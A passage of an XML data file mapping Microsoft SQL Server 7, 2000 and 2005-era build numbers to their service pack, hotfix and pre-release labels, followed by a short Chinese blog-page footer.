<servicepack>0+Q916706</servicepack> </signature> - <signature> <version>9.00.1533</version> <servicepack>0+Q916086</servicepack> </signature> - <signature> <version>9.00.1532</version> <servicepack>0+Q916046</servicepack> </signature> - <signature> <version>9.00.1531</version> <servicepack>0+Q915918</servicepack> </signature> - <signature> <version>9.00.1528</version> <servicepack>0+Q915112</servicepack> </signature> - <signature> <version>9.00.1519</version> <servicepack>0+Q913494</servicepack> </signature> - <signature> <version>9.00.1518</version> <servicepack>0+Q912472</servicepack> </signature> - <signature> <version>9.00.1514</version> <servicepack>0+Q912471</servicepack> </signature> - <signature> <version>9.00.1503</version> <servicepack>0+Q911662</servicepack> </signature> - <signature> <version>9.00.1502</version> <servicepack>0+Q915793</servicepack> </signature> - <signature> <version>9.00.1500</version> <servicepack>0+Q910416</servicepack> </signature> - <signature> <version>9.00.1406</version> <servicepack>0+Q932557</servicepack> </signature> - <signature> <version>9.00.1399</version> <servicepack>0</servicepack> </signature> - <signature> <version>9.00.1314</version> <servicepack>September CTP Release</servicepack> </signature> - <signature> <version>9.00.1187</version> <servicepack>June CTP Release</servicepack> </signature> - <signature> <version>9.00.1116</version> <servicepack>April CTP Release</servicepack> </signature> - <signature> <version>9.00.1090</version> <servicepack>March CTP Release</servicepack> </signature> - <signature> <version>9.00.981</version> <servicepack>December CTP Release</servicepack> </signature> - <signature> <version>9.00.951</version> <servicepack>October CTP Release</servicepack> </signature> - <signature> <version>9.00.917</version> <servicepack>Internal build</servicepack> </signature> - <signature> <version>9.00.852</version> <servicepack>Beta 2</servicepack> </signature> - <signature> <version>9.00.849</version> <servicepack>Internal build</servicepack> </signature> - <signature> <version>9.00.844</version> <servicepack>Internal build</servicepack> </signature> - <signature> <version>9.00.836</version> <servicepack>Express Ed. Tech Preview</servicepack> </signature> - <signature> <version>9.00.823</version> <servicepack>Internal build</servicepack> </signature> - <signature> <version>9.00.790</version> <servicepack>Internal build</servicepack> </signature> - <signature> <version>9.00.767</version> <servicepack>Internal build</servicepack> </signature> - <signature> <version>9.00.747</version> <servicepack>Internal build</servicepack> </signature> - <signature> <version>9.00.645</version> <servicepack>MS Internal</servicepack> </signature> - <signature> <version>9.00.608</version> <servicepack>Beta 1</servicepack> </signature> </signatures> - <signatures release="7"> - <signature> <version>7.00.1152</version> <servicepack>4+Q941203</servicepack> </signature> - <signature> <version>7.00.1150</version> <servicepack>4+Q891116</servicepack> </signature> - <signature> <version>7.00.1144</version> <servicepack>4+Q830233</servicepack> </signature> - <signature> <version>7.00.1143</version> <servicepack>4+Q829015</servicepack> </signature> - <signature> <version>7.00.1097</version> <servicepack>4+Q822756</servicepack> </signature> - <signature> <version>7.00.1094</version> <servicepack>4+Q815495</servicepack> </signature> - <signature> <version>7.00.1079</version> <servicepack>329499</servicepack> </signature> - <signature> <version>7.00.1078</version> <servicepack>4+Q327068</servicepack> </signature> - <signature> <version>7.00.1077</version> <servicepack>4+Q316333</servicepack> </signature> - <signature> <version>7.00.1063</version> <servicepack>4</servicepack> </signature> - <signature> <version>7.00.1033</version> <servicepack>3+Q324469</servicepack> </signature> - <signature> <version>7.00.1026</version> <servicepack>3+Q319851</servicepack> </signature> - <signature> <version>7.00.1004</version> <servicepack>3+Q304851</servicepack> </signature> - <signature> <version>7.00.996</version> <servicepack>3+Q299717</servicepack> </signature> - <signature> <version>7.00.978</version> <servicepack>3+Q285870</servicepack> </signature> - <signature> <version>7.00.977</version> <servicepack>3+Q284351</servicepack> </signature> - <signature> <version>7.00.970</version> <servicepack>3+Q283837</servicepack> </signature> - <signature> <version>7.00.961</version> <servicepack>3</servicepack> </signature> - <signature> <version>7.00.921</version> <servicepack>2+Q283837</servicepack> </signature> - <signature> <version>7.00.919</version> <servicepack>2+Q282243</servicepack> </signature> - <signature> <version>7.00.918</version> <servicepack>2+Q280380</servicepack> </signature> - <signature> <version>7.00.917</version> <servicepack>2+Q279180</servicepack> </signature> - <signature> <version>7.00.910</version> <servicepack>2+Q275901</servicepack> </signature> - <signature> <version>7.00.905</version> <servicepack>2+Q274266</servicepack> </signature> - <signature> <version>7.00.889</version> <servicepack>2+Q243741</servicepack> </signature> - <signature> <version>7.00.879</version> <servicepack>2+Q281185</servicepack> </signature> - <signature> <version>7.00.857</version> <servicepack>2+Q260346</servicepack> </signature> - <signature> <version>7.00.842</version> <servicepack>2</servicepack> </signature> - <signature> <version>7.00.839</version> <servicepack>2 Unidentified</servicepack> </signature> - <signature> <version>7.00.835</version> <servicepack>2 Beta</servicepack> </signature> - <signature> <version>7.00.776</version> <servicepack>1+Q258087</servicepack> </signature> - <signature> <version>7.00.770</version> <servicepack>1+Q252905</servicepack> </signature> - <signature> <version>7.00.745</version> <servicepack>1+Q253738</servicepack> </signature> - <signature> <version>7.00.722</version> <servicepack>1+Q239458</servicepack> </signature> - <signature> <version>7.00.699</version> <servicepack>1</servicepack> </signature> - <signature> <version>7.00.689</version> <servicepack>1 Beta</servicepack> </signature> - <signature> <version>7.00.677</version> <servicepack>MSDE O2K Dev</servicepack> </signature> - <signature> <version>7.00.662</version> <servicepack>Gold+Q232707</servicepack> </signature> - <signature> <version>7.00.658</version> <servicepack>Gold+Q244763</servicepack> </signature> - <signature> <version>7.00.657</version> <servicepack>Gold+Q229875</servicepack> </signature> - <signature> <version>7.00.643</version> <servicepack>Gold+Q220156</servicepack> </signature> - <signature> <version>7.00.623</version> <servicepack>Gold</servicepack> </signature> - <signature> <version>7.00.583</version> <servicepack>RC1</servicepack> </signature> - <signature> <version>7.00.517</version> <servicepack>Beta 3</servicepack> </signature> </signatures> - <signatures release="2000"> - <signature> <version>8.00.2271</version> <servicepack>4+Q946584</servicepack> </signature> - <signature> <version>8.00.2265</version> <servicepack>4+Q944985</servicepack> </signature> - <signature> <version>8.00.2253</version> <servicepack>4+Q939317</servicepack> </signature> - <signature> <version>8.00.2249</version> <servicepack>4+Q936232</servicepack> </signature> - <signature> <version>8.00.2248</version> <servicepack>4+Q935950</servicepack> </signature> - <signature> <version>8.00.2246</version> <servicepack>4+Q935465</servicepack> </signature> - <signature> <version>8.00.2245</version> <servicepack>4+Q933573</servicepack> </signature> - <signature> <version>8.00.2244</version> <servicepack>4+Q934203</servicepack> </signature> - <signature> <version>8.00.2242</version> <servicepack>4+Q929131</servicepack> </signature> - <signature> <version>8.00.2238</version> <servicepack>4+Q931932</servicepack> </signature> - <signature> <version>8.00.2234</version> <servicepack>4+Q929440</servicepack> </signature> - <signature> <version>8.00.2232</version> <servicepack>4+Q928568</servicepack> </signature> - <signature> <version>8.00.2231</version> <servicepack>4+Q928079</servicepack> </signature> - <signature> <version>8.00.2229</version> <servicepack>4+Q927186</servicepack> </signature> - <signature> <version>8.00.2226</version> <servicepack>4+Q925684</servicepack> </signature> - <signature> <version>8.00.2223</version> <servicepack>4+Q925678</servicepack> </signature> - <signature> <version>8.00.2218</version> <servicepack>4+Q925297</servicepack> </signature> - <signature> <version>8.00.2217</version> <servicepack>4+Q924664</servicepack> </signature> - <signature> <version>8.00.2215</version> <servicepack>4+Q924662</servicepack> </signature> - <signature> <version>8.00.2209</version> <servicepack>4+Q923797</servicepack> </signature> - <signature> <version>8.00.2207</version> <servicepack>4+Q923344</servicepack> </signature> - <signature> <version>8.00.2201</version> <servicepack>4+Q920930</servicepack> </signature> - <signature> <version>8.00.2199</version> <servicepack>4+Q919221</servicepack> </signature> - <signature> <version>8.00.2197</version> <servicepack>4+Q919133</servicepack> </signature> - <signature> <version>8.00.2196</version> <servicepack>4+Q919165</servicepack> </signature> - <signature> <version>8.00.2194</version> <servicepack>4+Q917972</servicepack> </signature> - <signature> <version>8.00.2192</version> <servicepack>4+Q917606</servicepack> </signature> - <signature> <version>8.00.2191</version> <servicepack>4+Q916698</servicepack> </signature> - <signature> <version>8.00.2189</version> <servicepack>4+Q916652</servicepack> </signature> - <signature> <version>8.00.2187</version> <servicepack>4+916287</servicepack> </signature> - <signature> <version>8.00.2180</version> <servicepack>4+Q913684</servicepack> </signature> - <signature> <version>8.00.2175</version> <servicepack>4+Q911678</servicepack> </signature> - <signature> <version>8.00.2172</version> <servicepack>4+Q910707</servicepack> </signature> - <signature> <version>8.00.2171</version> <servicepack>4+Q909369</servicepack> </signature> - <signature> <version>8.00.2168</version> <servicepack>4+Q907813</servicepack> </signature> - <signature> <version>8.00.2167</version> <servicepack>4+Q921293</servicepack> </signature> - <signature> <version>8.00.2166</version> <servicepack>4+Q909734</servicepack> </signature> - <signature> <version>8.00.2162</version> <servicepack>4+Q904660</servicepack> </signature> - <signature> <version>8.00.2156</version> <servicepack>4+Q906790</servicepack> </signature> - <signature> <version>8.00.2151</version> <servicepack>4+Q903742</servicepack> </signature> - <signature> <version>8.00.2148</version> <servicepack>4+Q899430</servicepack> </signature> - <signature> <version>8.00.2147</version> <servicepack>4+Q899410</servicepack> </signature> - <signature> <version>8.00.2145</version> <servicepack>4+Q826906</servicepack> </signature> - <signature> <version>8.00.2040</version> <servicepack>4+Q899761</servicepack> </signature> - <signature> <version>8.00.2039</version> <servicepack>4</servicepack> </signature> - <signature> <version>8.00.2026</version> <servicepack>4 Beta</servicepack> </signature> - <signature> <version>8.00.1547</version> <servicepack>3+Q899410</servicepack> </signature> - <signature> <version>8.00.1037</version> <servicepack>3+Q930484</servicepack> </signature> - <signature> <version>8.00.1036</version> <servicepack>3+Q929410</servicepack> </signature> - <signature> <version>8.00.1035</version> <servicepack>3+Q917593</servicepack> </signature> - <signature> <version>8.00.1034</version> <servicepack>3+Q915328</servicepack> </signature> - <signature> <version>8.00.1029</version> <servicepack>3+Q902852</servicepack> </signature> - <signature> <version>8.00.1027</version> <servicepack>3+Q900416</servicepack> </signature> - <signature> <version>8.00.1025</version> <servicepack>3+Q899428</servicepack> </signature> - <signature> <version>8.00.1024</version> <servicepack>3+Q898709</servicepack> </signature> - <signature> <version>8.00.1021</version> <servicepack>3+Q887700</servicepack> </signature> - <signature> <version>8.00.1020</version> <servicepack>3+Q896985</servicepack> </signature> - <signature> <version>8.00.1019</version> <servicepack>3+Q897572</servicepack> </signature> - <signature> <version>8.00.1017</version> <servicepack>3+Q896425</servicepack> </signature> - <signature> <version>8.00.1014</version> <servicepack>3+Q895123</servicepack> </signature> - <signature> <version>8.00.1013</version> <servicepack>3+Q891866</servicepack> </signature> - <signature> <version>8.00.1009</version> <servicepack>3+Q894257</servicepack> </signature> - <signature> <version>8.00.1007</version> <servicepack>3+Q893312</servicepack> </signature> - <signature> <version>8.00.1000</version> <servicepack>3+Q891585</servicepack> </signature> - <signature> <version>8.00.997</version> <servicepack>3+Q891311</servicepack> </signature> - <signature> <version>8.00.996</version> <servicepack>3+Q891017</servicepack> </signature> - <signature> <version>8.00.994</version> <servicepack>3+Q890942</servicepack> </signature> - <signature> <version>8.00.993</version> <servicepack>3+Q890925</servicepack> </signature> - <signature> <version>8.00.991</version> <servicepack>3+Q889314</servicepack> </signature> - <signature> <version>8.00.990</version> <servicepack>3+Q890200</servicepack> </signature> - <signature> <version>8.00.988</version> <servicepack>3+Q889166</servicepack> </signature> - <signature> <version>8.00.985</version> <servicepack>3+Q889239</servicepack> </signature> - <signature> <version>8.00.980</version> <servicepack>3+Q887974</servicepack> </signature> - <signature> <version>8.00.977</version> <servicepack>3+Q888007</servicepack> </signature> - <signature> <version>8.00.973</version> <servicepack>3+Q884554</servicepack> </signature> - <signature> <version>8.00.972</version> <servicepack>3+Q885290</servicepack> </signature> - <signature> <version>8.00.970</version> <servicepack>3+Q872842</servicepack> </signature> - <signature> <version>8.00.967</version> <servicepack>3+Q878501</servicepack> </signature> - <signature> <version>8.00.962</version> <servicepack>3+Q883415</servicepack> </signature> - <signature> <version>8.00.961</version> <servicepack>3+Q873446</servicepack> </signature> - <signature> <version>8.00.959</version> <servicepack>3+Q878500</servicepack> </signature> - <signature> <version>8.00.957</version> <servicepack>3+Q870994</servicepack> </signature> - <signature> <version>8.00.955</version> <servicepack>3+Q867798</servicepack> </signature> - <signature> <version>8.00.954</version> <servicepack>3+Q843282</servicepack> </signature> - <signature> <version>8.00.952</version> <servicepack>3+Q867878</servicepack> </signature> - <signature> <version>8.00.944</version> <servicepack>3+Q839280</servicepack> </signature> - <signature> <version>8.00.937</version> <servicepack>3+Q841776</servicepack> </signature> - <signature> <version>8.00.936</version> <servicepack>3+Q841627</servicepack> </signature> - <signature> <version>8.00.935</version> <servicepack>3+Q841401</servicepack> </signature> - <signature> <version>8.00.934</version> <servicepack>3+Q841404</servicepack> </signature> - <signature> <version>8.00.933</version> <servicepack>3+Q840856</servicepack> </signature> - <signature> <version>8.00.929</version> <servicepack>3+Q839529</servicepack> </signature> - <signature> <version>8.00.928</version> <servicepack>3+Q839589</servicepack> </signature> - <signature> <version>8.00.927</version> <servicepack>3+Q839688</servicepack> </signature> - <signature> <version>8.00.926</version> <servicepack>3+Q839523</servicepack> </signature> - <signature> <version>8.00.923</version> <servicepack>3+Q838460</servicepack> </signature> - <signature> <version>8.00.922</version> <servicepack>3+Q837970</servicepack> </signature> - <signature> <version>8.00.919</version> <servicepack>3+Q837957</servicepack> </signature> - <signature> <version>8.00.916</version> <servicepack>3+Q317989</servicepack> </signature> - <signature> <version>8.00.915</version> <servicepack>3+Q837401</servicepack> </signature> - <signature> <version>8.00.913</version> <servicepack>3+Q836651</servicepack> </signature> - <signature> <version>8.00.911</version> <servicepack>3+Q837957</servicepack> </signature> - <signature> <version>8.00.910</version> <servicepack>3+Q834798</servicepack> </signature> - <signature> <version>8.00.908</version> <servicepack>3+Q834290</servicepack> </signature> - <signature> <version>8.00.904</version> <servicepack>3+Q834453</servicepack> </signature> - <signature> <version>8.00.892</version> <servicepack>3+Q833710</servicepack> </signature> - <signature> <version>8.00.891</version> <servicepack>3+Q836141</servicepack> </signature> - <signature> <version>8.00.879</version> <servicepack>3+Q832977</servicepack> </signature> - <signature> <version>8.00.878</version> <servicepack>3+Q831950</servicepack> </signature> - <signature> <version>8.00.876</version> <servicepack>3+Q830912</servicepack> </signature> - <signature> <version>8.00.873</version> <servicepack>3+Q830887</servicepack> </signature> - <signature> <version>8.00.871</version> <servicepack>3+Q830767</servicepack> </signature> - <signature> <version>8.00.870</version> <servicepack>3+Q830262</servicepack> </signature> - <signature> <version>8.00.869</version> <servicepack>3+Q830588</servicepack> </signature> - <signature> <version>8.00.867</version> <servicepack>3+Q830366</servicepack> </signature> - <signature> <version>8.00.866</version> <servicepack>3+Q830366</servicepack> </signature> - <signature> <version>8.00.865</version> <servicepack>3+Q830395</servicepack> </signature> - <signature> <version>8.00.863</version> <servicepack>3+Q829205</servicepack> </signature> - <signature> <version>8.00.859</version> <servicepack>3+Q821334</servicepack> </signature> - <signature> <version>8.00.858</version> <servicepack>3+Q828637</servicepack> </signature> - <signature> <version>8.00.857</version> <servicepack>3+Q828017</servicepack> </signature> - <signature> <version>8.00.856</version> <servicepack>3+Q828096</servicepack> </signature> - <signature> <version>8.00.854</version> <servicepack>3+Q828699</servicepack> </signature> - <signature> <version>8.00.852</version> <servicepack>3+Q830466</servicepack> </signature> - <signature> <version>8.00.851</version> <servicepack>3+Q826754</servicepack> </signature> - <signature> <version>8.00.850</version> <servicepack>3+Q826860</servicepack> </signature> - <signature> <version>8.00.848</version> <servicepack>3+Q826822</servicepack> </signature> - <signature> <version>8.00.847</version> <servicepack>3+Q826433</servicepack> </signature> - <signature> <version>8.00.845</version> <servicepack>3+Q826364</servicepack> </signature> - <signature> <version>8.00.844</version> <servicepack>3+Q826080</servicepack> </signature> - <signature> <version>8.00.842</version> <servicepack>3+Q825043</servicepack> </signature> - <signature> <version>8.00.841</version> <servicepack>3+Q825225</servicepack> </signature> - <signature> <version>8.00.840</version> <servicepack>3+Q319477</servicepack> </signature> - <signature> <version>8.00.839</version> <servicepack>3+Q823877</servicepack> </signature> - <signature> <version>8.00.837</version> <servicepack>3+Q821741</servicepack> </signature> - <signature> <version>8.00.819</version> <servicepack>3+Q826161</servicepack> </signature> - <signature> <version>8.00.818</version> <servicepack>3+Q821277</servicepack> </signature> - <signature> <version>8.00.816</version> <servicepack>3+Q818766</servicepack> </signature> - <signature> <version>8.00.814</version> <servicepack>3+Q819662</servicepack> </signature> - <signature> <version>8.00.811</version> <servicepack>3+Q819248</servicepack> </signature> - <signature> <version>8.00.807</version> <servicepack>3+Q818899</servicepack> </signature> - <signature> <version>8.00.804</version> <servicepack>3+Q818729</servicepack> </signature> - <signature> <version>8.00.801</version> <servicepack>3+Q818540</servicepack> </signature> - <signature> <version>8.00.800</version> <servicepack>3+Q818414</servicepack> </signature> - <signature> <version>8.00.798</version> <servicepack>3+Q817464</servicepack> </signature> - <signature> <version>8.00.794</version> <servicepack>3+Q817464</servicepack> </signature> - <signature> <version>8.00.791</version> <servicepack>3+Q815249</servicepack> </signature> - <signature> <version>8.00.790</version> <servicepack>3+Q817081</servicepack> </signature> - <signature> <version>8.00.789</version> <servicepack>3+Q816840</servicepack> </signature> - <signature> <version>8.00.788</version> <servicepack>3+Q816985</servicepack> </signature> - <signature> <version>8.00.781</version> <servicepack>3+Q815057</servicepack> </signature> - <signature> <version>8.00.780</version> <servicepack>3+Q816084</servicepack> </signature> - <signature> <version>8.00.779</version> <servicepack>3+Q814035</servicepack> </signature> - <signature> <version>8.00.776</version> <servicepack>3+Unidentified</servicepack> </signature> - <signature> <version>8.00.775</version> <servicepack>3+Q815115</servicepack> </signature> - <signature> <version>8.00.769</version> <servicepack>3+Q814889</servicepack> </signature> - <signature> <version>8.00.765</version> <servicepack><</servicepack> </signature> - <signature> <version>8.00.763</version> <servicepack>3+Q814113</servicepack> </signature> - <signature> <version>8.00.762</version> <servicepack>3+Q814032</servicepack> </signature> - <signature> <version>8.00.760</version> <servicepack>3</servicepack> </signature> - <signature> <version>8.00.743</version> <servicepack>2+Q818406</servicepack> </signature> - <signature> <version>8.00.741</version> <servicepack>2+Q818096</servicepack> </signature> - <signature> <version>8.00.736</version> <servicepack>2+Q816937</servicepack> </signature> - <signature> <version>8.00.735</version> <servicepack>2+Q814889</servicepack> </signature> - <signature> <version>8.00.733</version> <servicepack>2+Q813759</servicepack> </signature> - <signature> <version>8.00.730</version> <servicepack>2+Q813769</servicepack> </signature> - <signature> <version>8.00.728</version> <servicepack>2+Q814460</servicepack> </signature> - <signature> <version>8.00.725</version> <servicepack>2+Q812995</servicepack> </signature> - <signature> <version>8.00.723</version> <servicepack>2+Q812798</servicepack> </signature> - <signature> <version>8.00.721</version> <servicepack>2+Q812250</servicepack> </signature> - <signature> <version>8.00.718</version> <servicepack>2+Q811703</servicepack> </signature> - <signature> <version>8.00.715</version> <servicepack>2+Q810688</servicepack> </signature> - <signature> <version>8.00.714</version> <servicepack>2+Q811478</servicepack> </signature> - <signature> <version>8.00.713</version> <servicepack>2</servicepack> </signature> - <signature> <version>8.00.710</version> <servicepack>2</servicepack> </signature> - <signature> <version>8.00.705</version> <servicepack>2+Q810920</servicepack> </signature> - <signature> <version>8.00.703</version> <servicepack>2+Q810526</servicepack> </signature> - <signature> <version>8.00.702</version> <servicepack>2+Q328551</servicepack> </signature> - <signature> <version>8.00.701</version> <servicepack>2+Q810026</servicepack> </signature> - <signature> <version>8.00.700</version> <servicepack>2+Q810072</servicepack> </signature> - <signature> <version>8.00.696</version> <servicepack>2+Q810052</servicepack> </signature> - <signature> <version>8.00.695</version> <servicepack>2+Q331885</servicepack> </signature> - <signature> <version>8.00.693</version> <servicepack>2+Q330212</servicepack> </signature> - <signature> <version>8.00.689</version> <servicepack>2+Q329499</servicepack> </signature> - <signature> <version>8.00.688</version> <servicepack>2+Q329487</servicepack> </signature> - <signature> <version>8.00.686</version> <servicepack>2+Q316333</servicepack> </signature> - <signature> <version>8.00.682</version> <servicepack>3+Q319851</servicepack> </signature> - <signature> <version>8.00.679</version> <servicepack>2+Q316333</servicepack> </signature> - <signature> <version>8.00.678</version> <servicepack>2+Q328354</servicepack> </signature> - <signature> <version>8.00.667</version> <servicepack>2+8</servicepack> </signature> - <signature> <version>8.00.665</version> <servicepack>2+8</servicepack> </signature> - <signature> <version>8.00.661</version> <servicepack>2+Q326999</servicepack> </signature> - <signature> <version>8.00.655</version> <servicepack>2+7</servicepack> </signature> - <signature> <version>8.00.652</version> <servicepack>2+Q810010?</servicepack> </signature> - <signature> <version>8.00.650</version> <servicepack>2+Q322853</servicepack> </signature> - <signature> <version>8.00.644</version> <servicepack>2+Q324186</servicepack> </signature> - <signature> <version>8.00.608</version> <servicepack>2+Q319507</servicepack> </signature> - <signature> <version>8.00.604</version> <servicepack>2+3</servicepack> </signature> - <signature> <version>8.00.594</version> <servicepack>2+Q319477</servicepack> </signature> - <signature> <version>8.00.578</version> <servicepack>2+Q317979</servicepack> </signature> - <signature> <version>8.00.561</version> <servicepack>2+1</servicepack> </signature> - <signature> <version>8.00.558</version> <servicepack>2+Q314003</servicepack> </signature> - <signature> <version>8.00.552</version> <servicepack>2+Q313002</servicepack> </signature> - <signature> <version>8.00.534</version> <servicepack>2.01</servicepack> </signature> - <signature> <version>8.00.532</version> <servicepack>2</servicepack> </signature> - <signature> <version>8.00.475</version> <servicepack>1+1</servicepack> </signature> - <signature> <version>8.00.474</version> <servicepack>1+Q315395</servicepack> </signature> - <signature> <version>8.00.473</version> <servicepack>1+Q314003</servicepack> </signature> - <signature> <version>8.00.471</version> <servicepack>1+Q313302</servicepack> </signature> - <signature> <version>8.00.469</version> <servicepack>1+Q313005</servicepack> </signature> - <signature> <version>8.00.452</version> <servicepack>1+Q308547</servicepack> </signature> - <signature> <version>8.00.444</version> <servicepack>1+Q307540</servicepack> </signature> - <signature> <version>8.00.443</version> <servicepack>1+Q307538</servicepack> </signature> - <signature> <version>8.00.428</version> <servicepack>1+Q304850</servicepack> </signature> - <signature> <version>8.00.384</version> <servicepack>1</servicepack> </signature> - <signature> <version>8.00.287</version> <servicepack>0+Q297209</servicepack> </signature> - <signature> <version>8.00.251</version> <servicepack>0+Q300194</servicepack> </signature> - <signature> <version>8.00.250</version> <servicepack>0+Q291683</servicepack> </signature> - <signature> <version>8.00.249</version> <servicepack>0+Q288122</servicepack> </signature> - <signature> <version>8.00.239</version> <servicepack>0+Q285290</servicepack> </signature> - <signature> <version>8.00.233</version> <servicepack>0+Q282416</servicepack> </signature> - <signature> <version>8.00.231</version> <servicepack>0+Q282279</servicepack> </signature> - <signature> <version>8.00.226</version> <servicepack>0+Q278239</servicepack> </signature> - <signature> <version>8.00.225</version> <servicepack>0+Q281663</servicepack> </signature> - <signature> <version>8.00.223</version> <servicepack>0+Q280380</servicepack> </signature> - <signature> <version>8.00.222</version> <servicepack>0+Q281769</servicepack> </signature> - <signature> <version>8.00.218</version> <servicepack>0+Q279183</servicepack> </signature> - <signature> <version>8.00.217</version> <servicepack>0+Q279293</servicepack> </signature> - <signature> <version>8.00.211</version> <servicepack>0+Q276329</servicepack> </signature> - <signature> <version>8.00.210</version> <servicepack>0+Q275900</servicepack> </signature> - <signature> <version>8.00.205</version> <servicepack>0+Q274330</servicepack> </signature> - <signature> <version>8.00.204</version> <servicepack>0+Q274329</servicepack> </signature> - <signature> <version>8.00.194</version> <servicepack>0</servicepack> </signature> - <signature> <version>8.00.190</version> <servicepack>Gold, no</servicepack> </signature> - <signature> <version>8.00.100</version> <servicepack>Beta 2</servicepack> </signature> - <signature> <version>8.00.078</version> <servicepack>EAP5</servicepack> </signature> - <signature> <version>8.00.047</version> <servicepack>EAP4</servicepack> </signature> </signatures> </root>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值